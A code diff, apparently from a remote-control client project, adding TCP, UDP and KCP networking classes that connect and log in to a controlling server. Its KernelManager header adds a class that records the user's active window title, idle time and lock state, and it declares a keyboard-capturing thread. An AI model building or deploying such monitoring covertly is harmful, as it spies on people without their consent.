if(szBuffer != src && srcSize > ulSplitLength) {
|
||||
Mprintf("SendWithSplit: %d bytes large packet may causes issues.\n", srcSize);
|
||||
}
|
||||
bool isFail = false;
|
||||
int iReturn = 0; //真正发送了多少
|
||||
const char* Travel = szBuffer;
|
||||
int i = 0;
|
||||
int ulSended = 0;
|
||||
const int ulSendRetry = 15;
|
||||
|
||||
// 大包优化:当数据量超过阈值时,尝试一次性发送更大的块
|
||||
// SO_SNDBUF 已设为 256KB,可以尝试一次发送更多数据
|
||||
const ULONG LARGE_PACKET_THRESHOLD = 256 * 1024; // 256KB
|
||||
ULONG actualSplitLength = ulSplitLength;
|
||||
if (ulLength >= LARGE_PACKET_THRESHOLD) {
|
||||
// 大包使用更大的分块,减少系统调用次数
|
||||
actualSplitLength = 256 * 1024; // 一次发送256KB
|
||||
}
|
||||
|
||||
// 依次发送
|
||||
for (i = ulLength; i >= (int)actualSplitLength; i -= actualSplitLength) {
|
||||
int remaining = actualSplitLength;
|
||||
while (remaining > 0) {
|
||||
int j = 0;
|
||||
for (; j < ulSendRetry; ++j) {
|
||||
iReturn = SendTo(Travel, remaining, 0);
|
||||
if (iReturn > 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (j == ulSendRetry) {
|
||||
isFail = true;
|
||||
break;
|
||||
}
|
||||
|
||||
ulSended += iReturn;
|
||||
Travel += iReturn;
|
||||
remaining -= iReturn;
|
||||
}
|
||||
if (isFail) break;
|
||||
}
|
||||
// 发送最后的部分
|
||||
if (!isFail && i>0) { //1024
|
||||
int remaining = i;
|
||||
while (remaining > 0) {
|
||||
int j = 0;
|
||||
for (; j < ulSendRetry; j++) {
|
||||
iReturn = SendTo((char*)Travel, remaining, 0);
|
||||
if (iReturn > 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (j == ulSendRetry) {
|
||||
isFail = true;
|
||||
break;
|
||||
}
|
||||
ulSended += iReturn;
|
||||
Travel += iReturn;
|
||||
remaining -= iReturn;
|
||||
}
|
||||
}
|
||||
if (szBuffer != src)
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
if (isFail) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return (ulSended == ulLength) ? TRUE : FALSE;
|
||||
}
|
||||
|
||||
|
||||
VOID IOCPClient::Disconnect()
|
||||
{
|
||||
if (m_sClientSocket == INVALID_SOCKET)
|
||||
return;
|
||||
|
||||
Mprintf("Disconnect with [%s:%d].\n", m_sCurIP.c_str(), m_nHostPort);
|
||||
|
||||
CancelIo((HANDLE)m_sClientSocket);
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
|
||||
m_bConnected = FALSE;
|
||||
}
|
||||
|
||||
|
||||
VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
|
||||
{
|
||||
Mprintf("======> RunEventLoop begin\n");
|
||||
while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN)
|
||||
Sleep(200);
|
||||
setManagerCallBack(NULL, NULL, NULL);
|
||||
Mprintf("======> RunEventLoop end\n");
|
||||
}
|
||||
|
||||
|
||||
BOOL is_valid()
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID IOCPClient::RunEventLoop(TrailCheck checker)
|
||||
{
|
||||
Mprintf("======> RunEventLoop begin\n");
|
||||
checker = checker ? checker : is_valid;
|
||||
#ifdef _DEBUG
|
||||
checker = is_valid;
|
||||
#endif
|
||||
while (m_bIsRunning && checker())
|
||||
Sleep(200);
|
||||
setManagerCallBack(NULL, NULL, NULL);
|
||||
Mprintf("======> RunEventLoop end\n");
|
||||
}
|
||||
311
client/IOCPClient.h
Normal file
311
client/IOCPClient.h
Normal file
@@ -0,0 +1,311 @@
|
||||
// IOCPClient.h: interface for the IOCPClient class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
#include <WinSock2.h>
|
||||
#include <MSTcpIP.h>
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#endif
|
||||
|
||||
#include "Buffer.h"
|
||||
#include "zstd/zstd.h"
|
||||
#include "domain_pool.h"
|
||||
#include "common/mask.h"
|
||||
#include "common/header.h"
|
||||
#define NO_AES
|
||||
#include "common/encrypt.h"
|
||||
#ifdef _WIN32
|
||||
#include "SafeThread.h"
|
||||
#else
|
||||
#ifndef SAFE_DELETE
|
||||
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
|
||||
#endif
|
||||
#ifndef SAFE_DELETE_ARRAY
|
||||
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||
#endif
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#endif
|
||||
#include "IOCPBase.h"
|
||||
#include <mutex>
|
||||
|
||||
#define MAX_RECV_BUFFER 1024*32
|
||||
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
|
||||
|
||||
enum { S_STOP = 0, S_RUN, S_END };
|
||||
|
||||
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
typedef int (*OnDisconnectCB)(void* userData);
|
||||
|
||||
class ProtocolEncoder
|
||||
{
|
||||
public:
|
||||
virtual ~ProtocolEncoder() {}
|
||||
virtual HeaderFlag GetHead() const
|
||||
{
|
||||
return "Shine";
|
||||
}
|
||||
virtual int GetHeadLen() const
|
||||
{
|
||||
return 13;
|
||||
}
|
||||
virtual int GetFlagLen() const
|
||||
{
|
||||
return 5;
|
||||
}
|
||||
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||||
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {}
|
||||
virtual EncFun GetHeaderEncoder() const
|
||||
{
|
||||
return nullptr;
|
||||
}
|
||||
};
|
||||
|
||||
class HellEncoder : public ProtocolEncoder
|
||||
{
|
||||
private:
|
||||
EncFun m_HeaderEnc;
|
||||
Encoder *m_BodyEnc;
|
||||
public:
|
||||
HellEncoder(EncFun head, Encoder *body)
|
||||
{
|
||||
m_HeaderEnc = head;
|
||||
m_BodyEnc = body;
|
||||
}
|
||||
~HellEncoder()
|
||||
{
|
||||
SAFE_DELETE(m_BodyEnc);
|
||||
}
|
||||
virtual HeaderFlag GetHead() const override
|
||||
{
|
||||
return ::GetHead(m_HeaderEnc);
|
||||
}
|
||||
virtual int GetHeadLen() const override
|
||||
{
|
||||
return 16;
|
||||
}
|
||||
virtual int GetFlagLen() const override
|
||||
{
|
||||
return 8;
|
||||
}
|
||||
virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) override
|
||||
{
|
||||
return m_BodyEnc->Encode(data, len, param);
|
||||
}
|
||||
virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) override
|
||||
{
|
||||
return m_BodyEnc->Decode(data, len, param);
|
||||
}
|
||||
virtual EncFun GetHeaderEncoder() const override
|
||||
{
|
||||
return m_HeaderEnc;
|
||||
}
|
||||
};
|
||||
|
||||
class IOCPManager
|
||||
{
|
||||
public:
|
||||
virtual ~IOCPManager() {}
|
||||
virtual BOOL IsAlive() const
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
virtual BOOL IsReady() const
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
|
||||
|
||||
// Tip: 在派生类实现该函数以便支持断线重连
|
||||
virtual BOOL OnReconnect()
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
IOCPManager* m_Manager = (IOCPManager*)user;
|
||||
if (nullptr == m_Manager) {
|
||||
Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0]));
|
||||
return FALSE;
|
||||
}
|
||||
// 等待子类准备就绪才能处理数据, 1秒足够了
|
||||
int i = 0;
|
||||
for (; i < 1000 && !m_Manager->IsReady(); ++i)
|
||||
Sleep(1);
|
||||
if (!m_Manager->IsReady()) {
|
||||
Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0]));
|
||||
return FALSE;
|
||||
}
|
||||
if (i) {
|
||||
Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0]));
|
||||
}
|
||||
m_Manager->OnReceive(szBuffer, ulLength);
|
||||
return TRUE;
|
||||
}
|
||||
static int ReconnectProcess(void* user)
|
||||
{
|
||||
IOCPManager* m_Manager = (IOCPManager*)user;
|
||||
if (nullptr == m_Manager) {
|
||||
return FALSE;
|
||||
}
|
||||
return m_Manager->OnReconnect();
|
||||
}
|
||||
};
|
||||
|
||||
typedef BOOL(*TrailCheck)(void);
|
||||
|
||||
class IOCPClient : public IOCPBase
|
||||
{
|
||||
public:
|
||||
IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, CONNECT_ADDRESS *conn=0,
|
||||
const std::string&pubIP="", void*main=0);
|
||||
virtual ~IOCPClient();
|
||||
|
||||
int SendLoginInfo(const LOGIN_INFOR& logInfo)
|
||||
{
|
||||
LOGIN_INFOR tmp = logInfo;
|
||||
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
||||
|
||||
return iRet;
|
||||
}
|
||||
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||
|
||||
std::string GetClientIP() const
|
||||
{
|
||||
return m_sLocPublicIP;
|
||||
}
|
||||
|
||||
std::map<std::string, std::string> GetClientIPHeader() const
|
||||
{
|
||||
return m_sLocPublicIP.empty() ? std::map<std::string, std::string> {} :
|
||||
std::map<std::string, std::string> { {"X-Forwarded-For", m_sLocPublicIP} };
|
||||
}
|
||||
|
||||
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask = NULL)
|
||||
{
|
||||
return OnServerSending(szBuffer, ulOriginalLength, mask);
|
||||
}
|
||||
|
||||
void SetServerAddress(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
|
||||
m_nHostPort = uPort;
|
||||
}
|
||||
|
||||
std::string ServerIP() const
|
||||
{
|
||||
return m_sCurIP;
|
||||
}
|
||||
|
||||
int ServerPort() const
|
||||
{
|
||||
return m_nHostPort;
|
||||
}
|
||||
|
||||
BOOL IsRunning() const
|
||||
{
|
||||
return m_bIsRunning;
|
||||
}
|
||||
VOID StopRunning()
|
||||
{
|
||||
m_ReconnectFunc = NULL;
|
||||
m_bIsRunning = FALSE;
|
||||
}
|
||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect);
|
||||
VOID RunEventLoop(TrailCheck checker);
|
||||
VOID RunEventLoop(const BOOL &bCondition);
|
||||
bool IsConnected() const
|
||||
{
|
||||
return m_bConnected == TRUE;
|
||||
}
|
||||
BOOL Reconnect(void* manager)
|
||||
{
|
||||
Disconnect();
|
||||
if (manager) m_Manager = manager;
|
||||
return ConnectServer(NULL, 0);
|
||||
}
|
||||
const State& GetState() const
|
||||
{
|
||||
return g_bExit;
|
||||
}
|
||||
void SetMultiThreadCompress(int threadNum=0);
|
||||
std::string GetClientID() const
|
||||
{
|
||||
return m_conn ? std::to_string(m_conn->clientID) : "";
|
||||
}
|
||||
std::string GetPublicIP() const
|
||||
{
|
||||
return m_sLocPublicIP;
|
||||
}
|
||||
CONNECT_ADDRESS* GetConnectionAddress() const
|
||||
{
|
||||
return m_conn;
|
||||
}
|
||||
IOCPManager* GetManager() const
|
||||
{
|
||||
return (IOCPManager*)m_Manager;
|
||||
}
|
||||
void* GetMain() const
|
||||
{
|
||||
return m_main;
|
||||
}
|
||||
void SetVerifyInfo(const std::string& msg, const std::string& hmac) {
|
||||
m_LoginMsg = msg;
|
||||
m_LoginSignature = hmac;
|
||||
}
|
||||
protected:
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
// TCP版本调用 recv
|
||||
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||
}
|
||||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
|
||||
virtual VOID Disconnect(); // 函数支持 TCP/UDP
|
||||
virtual int SendTo(const char* buf, int len, int flags)
|
||||
{
|
||||
return ::send(m_sClientSocket, buf, len, flags);
|
||||
}
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
|
||||
BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask);
|
||||
|
||||
protected:
|
||||
sockaddr_in m_ServerAddr;
|
||||
SOCKET m_sClientSocket;
|
||||
BOOL m_bWorkThread;
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL m_bIsRunning;
|
||||
BOOL m_bConnected;
|
||||
|
||||
std::mutex m_Locker;
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // 压缩上下文
|
||||
ZSTD_DCtx* m_Dctx; // 解压上下文
|
||||
#endif
|
||||
|
||||
const State& g_bExit; // 全局状态量
|
||||
void* m_Manager; // 用户数据
|
||||
DataProcessCB m_DataProcess; // 处理用户数据
|
||||
OnDisconnectCB m_ReconnectFunc; // 断线重连逻辑
|
||||
ProtocolEncoder* m_Encoder; // 加密
|
||||
DomainPool m_Domain;
|
||||
std::string m_sCurIP;
|
||||
int m_nHostPort;
|
||||
bool m_exit_while_disconnect;
|
||||
PkgMask* m_masker;
|
||||
BOOL m_EncoderType;
|
||||
std::string m_sLocPublicIP;
|
||||
CONNECT_ADDRESS *m_conn = NULL;
|
||||
|
||||
void *m_main = NULL;
|
||||
public:
|
||||
std::string m_LoginMsg; // 登录消息摘要
|
||||
std::string m_LoginSignature; // 登录消息签名
|
||||
};
|
||||
118
client/IOCPKCPClient.cpp
Normal file
118
client/IOCPKCPClient.cpp
Normal file
@@ -0,0 +1,118 @@
|
||||
#include "IOCPKCPClient.h"
|
||||
#include <windows.h>
|
||||
#include <chrono>
|
||||
#include <iostream>
|
||||
|
||||
IOCPKCPClient::IOCPKCPClient(State& bExit, bool exit_while_disconnect)
|
||||
: IOCPUDPClient(bExit, exit_while_disconnect), kcp_(nullptr), running_(false)
|
||||
{
|
||||
}
|
||||
|
||||
IOCPKCPClient::~IOCPKCPClient()
|
||||
{
|
||||
running_ = false;
|
||||
if (updateThread_.joinable())
|
||||
updateThread_.join();
|
||||
|
||||
if (kcp_)
|
||||
ikcp_release(kcp_);
|
||||
}
|
||||
|
||||
BOOL IOCPKCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
BOOL ret = IOCPUDPClient::ConnectServer(szServerIP, uPort);
|
||||
if (!ret)
|
||||
return FALSE;
|
||||
|
||||
// 初始化KCP
|
||||
uint32_t conv = KCP_SESSION_ID; // conv 要与服务端匹配
|
||||
kcp_ = ikcp_create(conv, this);
|
||||
if (!kcp_)
|
||||
return FALSE;
|
||||
|
||||
// 设置KCP参数
|
||||
ikcp_nodelay(kcp_, 1, 40, 2, 0);
|
||||
kcp_->rx_minrto = 30;
|
||||
kcp_->snd_wnd = 128;
|
||||
kcp_->rcv_wnd = 128;
|
||||
|
||||
// 设置发送回调函数(KCP发送数据时调用)
|
||||
kcp_->output = IOCPKCPClient::kcpOutput;
|
||||
|
||||
running_ = true;
|
||||
updateThread_ = std::thread(&IOCPKCPClient::KCPUpdateLoop, this);
|
||||
m_bConnected = TRUE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// UDP收包线程调用,将收到的UDP包送入KCP处理,再尝试读取完整应用包
|
||||
int IOCPKCPClient::ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
// 先调用基类接收UDP原始数据
|
||||
char udpBuffer[1500] = { 0 };
|
||||
int recvLen = IOCPUDPClient::ReceiveData(udpBuffer, sizeof(udpBuffer), flags);
|
||||
if (recvLen <= 0)
|
||||
return recvLen;
|
||||
|
||||
// 输入KCP协议栈
|
||||
int inputRet = ikcp_input(kcp_, udpBuffer, recvLen);
|
||||
if (inputRet < 0)
|
||||
return -1;
|
||||
|
||||
// 从KCP中读取应用层数据,写入buffer
|
||||
int kcpRecvLen = ikcp_recv(kcp_, buffer, bufSize);
|
||||
return kcpRecvLen; // >0表示收到完整应用数据,0表示无完整包
|
||||
}
|
||||
|
||||
bool IOCPKCPClient::ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag)
|
||||
{
|
||||
int iReceivedLength = ReceiveData(szBuffer, len, flag);
|
||||
if (iReceivedLength <= 0)
|
||||
{}
|
||||
else {
|
||||
szBuffer[iReceivedLength] = 0;
|
||||
//正确接收就调用OnRead处理,转到OnRead
|
||||
OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// 发送应用层数据时调用,转发给KCP协议栈
|
||||
int IOCPKCPClient::SendTo(const char* buf, int len, int flags)
|
||||
{
|
||||
if (!kcp_)
|
||||
return -1;
|
||||
|
||||
int ret = ikcp_send(kcp_, buf, len);
|
||||
if (ret < 0)
|
||||
return -1;
|
||||
|
||||
// 主动调用flush,加快发送
|
||||
ikcp_flush(kcp_);
|
||||
return ret;
|
||||
}
|
||||
|
||||
// KCP发送数据回调,将KCP生成的UDP包发送出去
|
||||
int IOCPKCPClient::kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user)
|
||||
{
|
||||
IOCPKCPClient* client = reinterpret_cast<IOCPKCPClient*>(user);
|
||||
if (client->m_sClientSocket == INVALID_SOCKET)
|
||||
return -1;
|
||||
|
||||
int sentLen = sendto(client->m_sClientSocket, buf, len, 0, (sockaddr*)&client->m_ServerAddr, sizeof(client->m_ServerAddr));
|
||||
if (sentLen == len)
|
||||
return 0;
|
||||
else
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 独立线程定时调用ikcp_update,保持KCP协议正常工作
|
||||
void IOCPKCPClient::KCPUpdateLoop()
|
||||
{
|
||||
while (running_ && !g_bExit) {
|
||||
IUINT32 current = GetTickCount64();
|
||||
ikcp_update(kcp_, current);
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(20)); // 20ms周期,视需求调整
|
||||
}
|
||||
}
|
||||
34
client/IOCPKCPClient.h
Normal file
34
client/IOCPKCPClient.h
Normal file
@@ -0,0 +1,34 @@
|
||||
#pragma once
|
||||
#include "IOCPUDPClient.h"
|
||||
#include "ikcp.h"
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
|
||||
class IOCPKCPClient : public IOCPUDPClient
|
||||
{
|
||||
public:
|
||||
IOCPKCPClient(State& bExit, bool exit_while_disconnect = false);
|
||||
virtual ~IOCPKCPClient();
|
||||
|
||||
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
|
||||
|
||||
// 重写接收函数:输入UDP数据给KCP,输出KCP层解包后的数据
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
|
||||
|
||||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) override;
|
||||
|
||||
// 重写发送函数:将应用数据通过KCP发送
|
||||
virtual int SendTo(const char* buf, int len, int flags) override;
|
||||
|
||||
private:
|
||||
// KCP发送数据的回调函数,负责调用UDP的sendto
|
||||
static int kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user);
|
||||
|
||||
// 定时调用ikcp_update的线程函数
|
||||
void KCPUpdateLoop();
|
||||
|
||||
private:
|
||||
ikcpcb* kcp_;
|
||||
std::thread updateThread_;
|
||||
std::atomic<bool> running_;
|
||||
};
|
||||
66
client/IOCPUDPClient.cpp
Normal file
66
client/IOCPUDPClient.cpp
Normal file
@@ -0,0 +1,66 @@
|
||||
#include "IOCPUDPClient.h"
|
||||
|
||||
|
||||
BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
if (szServerIP != NULL && uPort != 0) {
|
||||
SetServerAddress(szServerIP, uPort);
|
||||
}
|
||||
m_sCurIP = m_Domain.SelectIP();
|
||||
unsigned short port = m_nHostPort;
|
||||
|
||||
// 创建 UDP socket
|
||||
m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (m_sClientSocket == INVALID_SOCKET) {
|
||||
Mprintf("Failed to create UDP socket\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 初始化服务器地址结构
|
||||
memset(&m_ServerAddr, 0, sizeof(m_ServerAddr));
|
||||
m_ServerAddr.sin_family = AF_INET;
|
||||
m_ServerAddr.sin_port = htons(port);
|
||||
|
||||
#ifdef _WIN32
|
||||
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||
#else
|
||||
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
|
||||
Mprintf("Invalid address or address not supported\n");
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
#endif
|
||||
|
||||
// UDP不调用 connect(),也不设置 TCP keep-alive 相关选项
|
||||
Mprintf("UDP client socket created and ready to send.\n");
|
||||
m_bConnected = TRUE;
|
||||
|
||||
// 创建工作线程(如果需要)
|
||||
if (m_hWorkThread == NULL) {
|
||||
#ifdef _WIN32
|
||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
|
||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||
#else
|
||||
pthread_t id = 0;
|
||||
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||
#endif
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
sockaddr_in fromAddr;
|
||||
int fromLen = sizeof(fromAddr);
|
||||
return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen);
|
||||
}
|
||||
|
||||
int IOCPUDPClient::SendTo(const char* buf, int len, int flags)
|
||||
{
|
||||
if (len > 1200) {
|
||||
Mprintf("UDP large packet may lost: %d bytes\n", len);
|
||||
}
|
||||
return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr));
|
||||
}
|
||||
16
client/IOCPUDPClient.h
Normal file
16
client/IOCPUDPClient.h
Normal file
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
#include "IOCPClient.h"
|
||||
|
||||
class IOCPUDPClient : public IOCPClient
|
||||
{
|
||||
public:
|
||||
IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect) {}
|
||||
|
||||
virtual ~IOCPUDPClient() {}
|
||||
|
||||
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
|
||||
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
|
||||
|
||||
virtual int SendTo(const char* buf, int len, int flags) override;
|
||||
};
|
||||
1497
client/KernelManager.cpp
Normal file
1497
client/KernelManager.cpp
Normal file
File diff suppressed because it is too large
Load Diff
269
client/KernelManager.h
Normal file
269
client/KernelManager.h
Normal file
@@ -0,0 +1,269 @@
|
||||
// KernelManager.h: interface for the CKernelManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||
#define AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include <vector>
|
||||
#include "ClientApp.h"
|
||||
|
||||
#define MAX_THREADNUM 0x1000>>2
|
||||
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <iomanip>
|
||||
#include <TlHelp32.h>
|
||||
#include "LoginServer.h"
|
||||
#include <common/iniFile.h>
|
||||
|
||||
// 根据配置决定采用什么通讯协议
|
||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
|
||||
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
|
||||
|
||||
class ActivityWindow
|
||||
{
|
||||
public:
|
||||
std::string Check(DWORD threshold_ms = 6000)
|
||||
{
|
||||
auto idle = GetUserIdleTime();
|
||||
BOOL isActive = (idle < threshold_ms);
|
||||
if (isActive) {
|
||||
return GetActiveWindowTitle();
|
||||
}
|
||||
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
|
||||
}
|
||||
|
||||
private:
|
||||
std::string FormatMilliseconds(DWORD ms)
|
||||
{
|
||||
DWORD totalSeconds = ms / 1000;
|
||||
DWORD hours = totalSeconds / 3600;
|
||||
DWORD minutes = (totalSeconds % 3600) / 60;
|
||||
DWORD seconds = totalSeconds % 60;
|
||||
|
||||
std::stringstream ss;
|
||||
ss << std::setfill('0')
|
||||
<< std::setw(2) << hours << ":"
|
||||
<< std::setw(2) << minutes << ":"
|
||||
<< std::setw(2) << seconds;
|
||||
|
||||
return ss.str();
|
||||
}
|
||||
|
||||
std::string GetActiveWindowTitle()
|
||||
{
|
||||
HWND hForegroundWindow = GetForegroundWindow();
|
||||
if (hForegroundWindow == NULL)
|
||||
return "No active window";
|
||||
|
||||
char windowTitle[256];
|
||||
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
|
||||
return std::string(windowTitle);
|
||||
}
|
||||
|
||||
DWORD GetLastInputTime()
|
||||
{
|
||||
LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
|
||||
GetLastInputInfo(&lii);
|
||||
return lii.dwTime;
|
||||
}
|
||||
|
||||
DWORD GetUserIdleTime()
|
||||
{
|
||||
return (GetTickCount64() - GetLastInputTime());
|
||||
}
|
||||
|
||||
bool IsWorkstationLocked()
|
||||
{
|
||||
HDESK hInput = OpenInputDesktop(0, FALSE, GENERIC_READ);
|
||||
// 如果无法打开桌面,可能是因为桌面已经切换到 Winlogon
|
||||
if (!hInput) return true;
|
||||
char name[256] = {0};
|
||||
DWORD needed;
|
||||
bool isLocked = false;
|
||||
if (GetUserObjectInformationA(hInput, UOI_NAME, name, sizeof(name), &needed)) {
|
||||
isLocked = (_stricmp(name, "Winlogon") == 0);
|
||||
}
|
||||
CloseDesktop(hInput);
|
||||
return isLocked;
|
||||
}
|
||||
};
|
||||
|
||||
struct RttEstimator {
|
||||
double srtt = 0.0; // 平滑 RTT (秒)
|
||||
double rttvar = 0.0; // RTT 波动 (秒)
|
||||
double rto = 0.0; // 超时时间 (秒)
|
||||
bool initialized = false;
|
||||
|
||||
void update_from_sample(double rtt_ms)
|
||||
{
|
||||
// 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒
|
||||
if (rtt_ms <= 0 || rtt_ms > 30000) {
|
||||
return;
|
||||
}
|
||||
|
||||
const double alpha = 1.0 / 8;
|
||||
const double beta = 1.0 / 4;
|
||||
|
||||
// 转换成秒
|
||||
double rtt = rtt_ms / 1000.0;
|
||||
|
||||
if (!initialized) {
|
||||
srtt = rtt;
|
||||
rttvar = rtt / 2.0;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
initialized = true;
|
||||
} else {
|
||||
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
||||
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
}
|
||||
|
||||
// 限制最小 RTO(RFC 6298 推荐 1 秒)
|
||||
if (rto < 1.0) rto = 1.0;
|
||||
}
|
||||
};
|
||||
|
||||
class CKernelManager : public CManager
|
||||
{
|
||||
public:
|
||||
CONNECT_ADDRESS* m_conn;
|
||||
HINSTANCE m_hInstance;
|
||||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
|
||||
virtual ~CKernelManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength);
|
||||
ThreadInfo* m_hKeyboard;
|
||||
ThreadInfo m_hThread[MAX_THREADNUM];
|
||||
// 此值在原代码中是用于记录线程数量;当线程数量超出限制时m_hThread会越界而导致程序异常
|
||||
// 因此我将此值的含义修改为"可用线程下标",代表数组m_hThread中所指位置可用,即创建新的线程放置在该位置
|
||||
ULONG m_ulThreadCount;
|
||||
UINT GetAvailableIndex();
|
||||
State& g_bExit; // Hide base class variable
|
||||
static int g_IsAppExit;
|
||||
MasterSettings m_settings;
|
||||
RttEstimator m_nNetPing; // 网络状况
|
||||
std::string m_LoginMsg; // 登录消息摘要
|
||||
std::string m_LoginSignature; // 登录消息签名
|
||||
// C2C 文件传输
|
||||
std::string m_hash;
|
||||
std::string m_hmac;
|
||||
uint64_t m_MyClientID = 0;
|
||||
void SetLoginMsg(const std::string& msg)
|
||||
{
|
||||
m_LoginMsg = msg;
|
||||
}
|
||||
// 发送心跳
|
